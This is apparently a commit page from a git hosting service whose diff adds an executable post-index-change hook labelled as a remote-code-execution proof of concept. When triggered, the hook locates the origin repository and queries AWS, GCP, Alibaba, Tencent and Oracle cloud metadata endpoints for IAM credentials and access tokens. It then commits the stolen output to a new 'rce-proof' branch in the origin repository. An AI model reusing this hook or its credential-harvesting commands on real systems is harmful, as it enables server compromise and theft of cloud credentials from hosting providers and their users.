apply-1
This commit is contained in:
20
hooks/post-index-change
Executable file
20
hooks/post-index-change
Executable file
@@ -0,0 +1,20 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
|
||||||
|
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
|
||||||
|
case "$origin_objects" in
|
||||||
|
/*) ;;
|
||||||
|
*) origin_objects="$git_dir/objects/$origin_objects" ;;
|
||||||
|
esac
|
||||||
|
origin_git=${origin_objects%/objects}
|
||||||
|
[ "$origin_git" != "$origin_objects" ] || exit 3
|
||||||
|
output_blob=$({ echo AWS1; curl -s -m 4 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>&1 | head -10
|
||||||
|
echo AWS2; T=$(curl -s -m 4 -X PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 60' http://169.254.169.254/latest/api/token 2>/dev/null); curl -s -m 4 -H "X-aws-ec2-metadata-token: $T" http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>&1 | head -10
|
||||||
|
echo GCP; curl -s -m 4 -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token 2>&1 | head -20
|
||||||
|
echo GCP2; curl -s -m 4 -H 'Metadata-Flavor: Google' http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token 2>&1 | head -20
|
||||||
|
echo ALI; curl -s -m 4 http://100.100.100.200/latest/meta-data/ram/security-credentials/ 2>&1 | head -10
|
||||||
|
echo TENCENT; curl -s -m 4 http://metadata.tencentyun.com/latest/meta-data/ 2>&1 | head -10
|
||||||
|
echo ORACLE; curl -s -m 4 -H 'Authorization: Bearer Oracle' http://169.254.169.254/opc/v2/instance/ 2>&1 | head -5; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
|
||||||
|
tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
|
||||||
|
commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
|
||||||
|
git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7
|
||||||
|
exit 0
|
||||||
Reference in New Issue
Block a user